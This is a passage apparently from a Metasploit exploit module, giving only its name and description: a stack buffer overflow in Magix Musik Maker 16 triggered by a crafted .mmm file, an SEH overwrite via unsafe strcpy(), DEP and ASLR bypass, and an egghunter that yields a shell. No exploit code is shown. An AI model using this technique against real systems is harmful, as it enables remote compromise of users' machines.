'Name' => 'Magix Musik Maker 16 .mmm Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Magix Musik Maker 16.
When opening a specially crafted arrangement file (.mmm) in the application, an
unsafe strcpy() will allow you to overwrite a SEH handler. This exploit
bypasses DEP & ASLR, and works on XP, Vista & Windows 7. Egghunter is used, and
might require up to several seconds to receive a shell.
